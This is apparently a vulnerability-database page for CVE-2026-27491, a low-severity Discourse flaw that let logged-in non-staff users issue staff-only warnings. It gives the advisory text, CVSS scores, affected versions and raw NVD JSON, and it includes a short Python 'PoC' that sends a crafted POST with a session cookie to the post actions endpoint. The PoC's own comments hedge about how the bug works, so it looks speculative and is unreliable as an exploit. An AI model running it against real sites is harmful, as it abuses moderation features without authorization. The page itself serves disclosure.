Security Vulnerability Report
中文
CVE-2026-27491 CVSS 4.3 MEDIUM

CVE-2026-27491

Published: 2026-03-19 21:17:09
Last Modified: 2026-03-25 01:00:42

Description

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a type coercion issue in a post actions API endpoint allowed non-staff users to issue warnings to other users. Warnings are a staff-only moderation feature. The vulnerability required the attacker to be a logged-in user and to send a specifically crafted request. No data exposure or privilege escalation beyond the ability to create unauthorized user warnings was possible. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "https://example.com/posts/actions.json" SESSION_COOKIE = "valid_user_session_cookie" TARGET_USER_ID = "123" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Cookies cookies = { "_t_session": SESSION_COOKIE } # Exploit Payload: Type coercion to bypass staff check # Sending parameters as string where integer might be expected or vice-versa data = { "id": TARGET_USER_ID, "post_action_type_id": "4", "flag_topic": "false" } try: response = requests.post(TARGET_URL, headers=headers, cookies=cookies, data=data) if response.status_code == 200: print("[+] Warning potentially issued successfully.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27491", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:09.090", "lastModified": "2026-03-25T01:00:41.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, a type coercion issue in a post actions API endpoint allowed non-staff users to issue warnings to other users. Warnings are a staff-only moderation feature. The vulnerability required the attacker to be a logged-in user and to send a specifically crafted request. No data exposure or privilege escalation beyond the ability to create unauthorized user warnings was possible. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, un problema de coerción de tipos en un endpoint de la API de acciones de publicaciones permitía a usuarios que no eran parte del personal emitir advertencias a otros usuarios. Las advertencias son una característica de moderación solo para el personal. La vulnerabilidad requería que el atacante fuera un usuario con sesión iniciada y enviara una solicitud específicamente diseñada. No fue posible la exposición de datos ni la escalada de privilegios más allá de la capacidad de crear advertencias de usuario no autorizadas. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/60a588f4da4ab0feceb2c44787d4261b4f8757be", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/d3cb203feabc46d765ecb91f348613a2bd531b89", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/f5fef73827da7520efc517357bd2a6bab35d7886", "source": "[email protected]", "tags": ["Patch"]}, {"url": " ... (truncated)